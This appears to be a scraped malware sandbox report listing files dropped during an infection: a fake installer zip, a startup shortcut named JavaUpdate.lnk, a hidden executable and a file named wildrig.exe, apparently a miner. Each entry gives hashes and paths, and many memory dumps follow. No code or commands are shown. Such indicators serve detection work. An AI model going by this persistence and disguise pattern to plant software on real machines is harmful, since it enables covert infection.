SHA512 4c173c5bdc7e732f98fef7be7e7f950fa0c6c3d4f54371d4905e7c632fca9cebd3f78ba50d74cfd44c73c21b8ade8528a7a4044b75cb9cd4085adb391bf381fc
SSDEEP 24576:Irya9bv0VAbt//tvibudEbvzyJ3gUnD9:JyYI3FibuOfUnD
TLSH
T14F35D9CEB6725080C1C662F25355933BD8BCBAC2869026D71ED62F36D99383BDD4533A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

t1newtest.exe

Path C:\Users\Admin\AppData\Local\Temp\t1newtest.exe
Size 1.2MB
SHA256 ab36b280a0cb2af233500693823c5c578a040c90c9c458d6b9529adc990a01d2
MD5 7d3dbaa3426f98cf6d78b086e364cd2d
SHA1 f473e897e495e4bf6eecc420c56b5a2f86190d6e
SHA512 c96108df92a8417f38f61efb2b803936d6782e58cf17ace34341a86492bd082b87912a955087dfe4c91280f8f89d7ea82283a698ae95980e819a72af66d5def7
SSDEEP 24576:8D8HMe9vyN2EPZx4aGyyJU8/jXwJ0yDJdxLxzkBo34YvZh:8QHpvyxPZxQHjqDNTLxYrYR
TLSH
T122457A90B7DD0CB9F42585F345D61D2757602C1E2AE0F8DA337F324D0A2D691AAF6A0B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

JavaUpdate.lnk

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\JavaUpdate.lnk
Size 515B
SHA256 147a67d383dd227d613e8c6962b61bf453e534efdce17a9d523e72fbb3107e4e
MD5 b9f5ca24e72e77b7dd4a722fb7710de3
SHA1 a835d07985e4a85ddfacdd1a37d0cc928c3ec923
SHA512 f29f40fb0f9d112b7e30d2e2ad0beca1c7c732ed7fe8663b202796330f36e20786aa444ee5336683aa0d07918fa1d0a595200b19983cad37d19bcc0aa5a47ee1
TLSH
T1D7F09A167BD85514E2B3BD36A03AB7008FA9B8225E13C29C0140A58C6971660EE7BA27
MD5 SHA1 SHA512 TLSH

Submit Download

cfgmonitor5639_d49a.exe

Path C:\Users\Admin\AppData\Roaming\Mozilla\Updates\Services\Runtime\cfgmonitor5639_d49a.exe
Size 8.0MB
SHA256 32b78868aeae011f4054ddbbd2b2a9eff3ac7f82235c3102c3a150fbd65eba83
MD5 2f0b078ee482287784fea37d0ac7bcef
SHA1 e8406fc80c8e2eea27c46bd76c565ada455778e3
SHA512 59f5cee7444e5e725a8f7f8a859dbf0af1cf7ccf8dca7fd58562eed7d27af52c7cd2b3d24f175da81c448fed322ebacd6a2151e2be73638eacdd6b91d03cba67
SSDEEP 98304:F2Tn9Tmhk8TCeOiMf85W8WvE8XhH/jYsj7qrmS6PDBljCkIXzJcPlL72OrUGvlTO:IRmu8TugJQL7pUGvFBk8k
TLSH
T16C868C17E6A101E8C86BD178C6568633E7B1B8585330F6DB16A4D7761F33AE05E3EB20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SETUP_lNSTALLER_(KEY.5676).zip.crdownload

Path C:\Users\Admin\Downloads\SETUP_lNSTALLER_(KEY.5676).zip.crdownload
Size 2.5MB
SHA256 8ae3f85fc0416cf70737f8cc857b9b8e2b619b5e9621869ecf7ae588deed2164
MD5 00e44119a5e6ee36f5ff575b3c6c75da
SHA1 729a9153bd4570cab4bbf838512ddf39c152c8f0
SHA512 77d8fddfe385fbe4c3c3c2939bb8f54215a9f8d3f4657ab799f2505cba60dad05283e9fe0794f1c7a31e36b4b90b24d0a0ecf25e09f761e3d67d66c131959f00
SSDEEP 49152:3pDXubQX7tnwmRn7Os0zAIFohiI8WN2lnIsZHXhKYt+1:3Jpnw8n7R262lnIsdxK51
TLSH
T1BEC533F8ACFBA731C60C61FDE1CA5170D04C7B26AB874EA199CB12B5CA91E0D65E4E14
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SETUP_lNSTALLER_(KEY.5676).zip.crdownload

Path C:\Users\Admin\Downloads\SETUP_lNSTALLER_(KEY.5676).zip.crdownload
Size 2.5MB
SHA256 8ae3f85fc0416cf70737f8cc857b9b8e2b619b5e9621869ecf7ae588deed2164
MD5 00e44119a5e6ee36f5ff575b3c6c75da
SHA1 729a9153bd4570cab4bbf838512ddf39c152c8f0
SHA512 77d8fddfe385fbe4c3c3c2939bb8f54215a9f8d3f4657ab799f2505cba60dad05283e9fe0794f1c7a31e36b4b90b24d0a0ecf25e09f761e3d67d66c131959f00
SSDEEP 49152:3pDXubQX7tnwmRn7Os0zAIFohiI8WN2lnIsZHXhKYt+1:3Jpnw8n7R262lnIsdxK51
TLSH
T1BEC533F8ACFBA731C60C61FDE1CA5170D04C7B26AB874EA199CB12B5CA91E0D65E4E14
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

c5a3d2ba-6ffe-4f18-b7fd-88bf4f45defe.tmp

Path C:\Users\Admin\Downloads\c5a3d2ba-6ffe-4f18-b7fd-88bf4f45defe.tmp
Size 11KB
SHA256 dffce45a74600d306ebacfa51566f2a77b1ed34ce19204c401117336898578e1
MD5 238e379e2a42e1d159ee5a91946b9b50
SHA1 abfb8af3f9c60356caae2ee4e75bda7f443f355a
SHA512 4c5a1c56d3f85ecea30da153aabc96e7180685a38ab6ab4ce0c7a5614a4ee578cd7a4af97dda69a9bba4670a07fd69a21fca62e5d34dbe103fc3e33aa7221d5b
SSDEEP 192:cLodDr03pXyakK8vigqqXorj+S4Dg8X1/Fj0x4WxzQ7ZUCkxC0A4+sQauLseugeV:cLKM5Xzr8Kgdq4DgyFoxzxzQWCkxv+wD
TLSH
T163429DC5AFA10274582CE2B6A274F233E6756E6953E404F1F08C4E56F39B4E65A2D1F0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

wildrig.exe

Path C:\wildrig.exe
Size 28.1MB
SHA256 f0cc91e4f6bdea9e0c90d6a63dc60af83939bad9ae03c43e3bc4150103a50cd8
MD5 63a042fb2cff2f68b3b60cabb213e918
SHA1 0c62eba19ace2fb96a7c8c4eaa27da2e211c83ce
SHA512 73b2a238e28141fa9fd4e49695aa12027931e1b60a474de8d1fc71dbf589f21ca06a1b4393d245329d61f5bad5c0598ee56a77765d4aa61190f7542bec741fad
SSDEEP 786432:pDkbi3DwN9A3ClCv3GCs8gxfhz1Gktl/UhxPSUoM1lF:pCEA6kCOCWpz0kDUHPSUt1lF
TLSH
T17F5733936C0B6967E23845BA8DCD28381BFD1F26EFC43325E205B6D5A4A71D8276C1F1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1212-639-0x00007FF6E7080000-0x00007FF6E8080000-memory.dmp

Download

memory/1252-618-0x0000000140000000-0x0000000140031000-memory.dmp

Download

memory/1252-617-0x0000000140000000-0x0000000140031000-memory.dmp

Download

memory/1252-610-0x0000000140000000-0x0000000140031000-memory.dmp

Download

memory/1252-619-0x0000000140000000-0x0000000140031000-memory.dmp

Download

memory/1968-672-0x000001E6E6330000-0x000001E6E634E000-memory.dmp

Download

memory/1968-602-0x000001E6E6540000-0x000001E6E6B8A000-memory.dmp

Download

memory/1968-604-0x000001E6CB8C0000-0x000001E6CB8C8000-memory.dmp

Download

memory/1968-606-0x000001E6CB8D0000-0x000001E6CB8DA000-memory.dmp

Download

memory/1968-605-0x000001E6CB890000-0x000001E6CB89A000-memory.dmp

Download

memory/1968-603-0x000001E6CB890000-0x000001E6CB898000-memory.dmp

Download

memory/1968-661-0x000001E6E62F0000-0x000001E6E630E000-memory.dmp

Download

memory/1968-662-0x000001E6E63C0000-0x000001E6E6472000-memory.dmp

Download

memory/1968-663-0x000001E6E6310000-0x000001E6E631A000-memory.dmp

Download

memory/2052-633-0x00007FF7CA920000-0x00007FF7CB920000-memory.dmp

Download

memory/3168-497-0x00000000168B0000-0x0000000016964000-memory.dmp

Download

memory/3168-518-0x00000000168B0000-0x0000000016964000-memory.dmp

Download

memory/3168-502-0x00000000168B0000-0x0000000016964000-memory.dmp

Download

memory/3168-503-0x00000000168B0000-0x0000000016964000-memory.dmp

Download

memory/3168-501-0x00000000168B0000-0x0000000016964000-memory.dmp

Download

memory/3168-499-0x00000000168B0000-0x0000000016964000-memory.dmp

Download

memory/3168-500-0x00000000168B0000-0x0000000016964000-memory.dmp

Download

memory/3168-498-0x00000000168B0000-0x0000000016964000-memory.dmp

Download

memory/3168-526-0x00000000168B0000-0x0000000016964000-memory.dmp

Download

memory/3168-525-0x00000000168B0000-0x0000000016964000-memory.dmp

Download

memory/3168-504-0x00000000168B0000-0x0000000016964000-memory.dmp

Download

memory/3168-506-0x00000000168B0000-0x0000000016964000-memory.dmp

Download

memory/3168-505-0x00000000168B0000-0x0000000016964000-memory.dmp

Download

memory/3168-508-0x00000000168B0000-0x0000000016964000-memory.dmp

Download

memory/3168-510-0x00000000168B0000-0x0000000016964000-memory.dmp

Download

memory/3168-511-0x00000000168B0000-0x0000000016964000-memory.dmp

Download

memory/3168-565-0x00000000168B0000-0x0000000016964000-memory.dmp

Download

memory/3168-568-0x00000000168B0000-0x0000000016964000-memory.dmp

Download

memory/3168-566-0x00000000168B0000-0x0000000016964000-memory.dmp

Download

memory/3168-569-0x00000000168B0000-0x0000000016964000-memory.dmp

Download

memory/3168-514-0x00000000168B0000-0x0000000016964000-memory.dmp

Download

memory/3168-572-0x00000000168B0000-0x0000000016964000-memory.dmp

Download

memory/3168-519-0x00000000168B0000-0x0000000016964000-memory.dmp

Download

memory/3168-579-0x00000000063E0000-0x00000000063E1000-memory.dmp

Download

memory/3168-620-0x00000000063F0000-0x00000000063F1000-memory.dmp

Download

memory/3168-515-0x00000000168B0000-0x0000000016964000-memory.dmp

Download

memory/3168-513-0x00000000168B0000-0x0000000016964000-memory.dmp

Download

memory/3168-516-0x00000000168B0000-0x0000000016964000-memory.dmp

Download

memory/3168-517-0x00000000168B0000-0x0000000016964000-memory.dmp

Download

memory/3168-512-0x00000000168B0000-0x0000000016964000-memory.dmp

Download

memory/3168-531-0x00000000168B0000-0x0000000016964000-memory.dmp

Download

memory/3168-520-0x00000000168B0000-0x0000000016964000-memory.dmp

Download

memory/3168-522-0x00000000168B0000-0x0000000016964000-memory.dmp

Download

memory/3168-524-0x00000000168B0000-0x0000000016964000-memory.dmp

Download

memory/3168-527-0x00000000168B0000-0x0000000016964000-memory.dmp

Download

memory/3168-507-0x00000000168B0000-0x0000000016964000-memory.dmp

Download

memory/3168-509-0x00000000168B0000-0x0000000016964000-memory.dmp

Download

memory/3168-530-0x00000000168B0000-0x0000000016964000-memory.dmp

Download

memory/3232-542-0x000001A9A64F0000-0x000001A9A64F1000-memory.dmp

Download

memory/3232-540-0x000001A9A64F0000-0x000001A9A64F1000-memory.dmp

Download

memory/3232-534-0x000001A9A64F0000-0x000001A9A64F1000-memory.dmp

Download

memory/3232-538-0x000001A9A64F0000-0x000001A9A64F1000-memory.dmp

Download

memory/3232-532-0x000001A9A64F0000-0x000001A9A64F1000-memory.dmp

Download

memory/3232-539-0x000001A9A64F0000-0x000001A9A64F1000-memory.dmp

Download

memory/3232-541-0x000001A9A64F0000-0x000001A9A64F1000-memory.dmp

Download

memory/3232-543-0x000001A9A64F0000-0x000001A9A64F1000-memory.dmp

Download

memory/3520-632-0x00007FF625580000-0x00007FF625DDA000-memory.dmp

Download

memory/3520-666-0x00007FF625580000-0x00007FF625DDA000-memory.dmp

Download

memory/3520-626-0x0000018AB23B0000-0x0000018AB23D0000-memory.dmp

Download

memory/3520-640-0x00007FF625580000-0x00007FF625DDA000-memory.dmp

Download

memory/3520-650-0x00007FF625580000-0x00007FF625DDA000-memory.dmp

Download

memory/4068-576-0x000001D9F2FB0000-0x000001D9F2FD2000-memory.dmp

Download

memory/4520-657-0x00007FF601C40000-0x00007FF602C40000-memory.dmp

Download

memory/4548-648-0x00007FF6C03C0000-0x00007FF6C13C0000-memory.dmp

Download

memory/4636-631-0x00007FF73D5D0000-0x00007FF73DDCF000-memory.dmp

Download

memory/4636-644-0x00007FF73D5D0000-0x00007FF73DDCF000-memory.dmp

Download

memory/5696-601-0x00007FF717F00000-0x00007FF7182F4000-memory.dmp

Download

memory/5888-586-0x0000023677970000-0x0000023677978000-memory.dmp

Download

memory/5888-584-0x0000000140000000-0x0000000140040000-memory.dmp

Download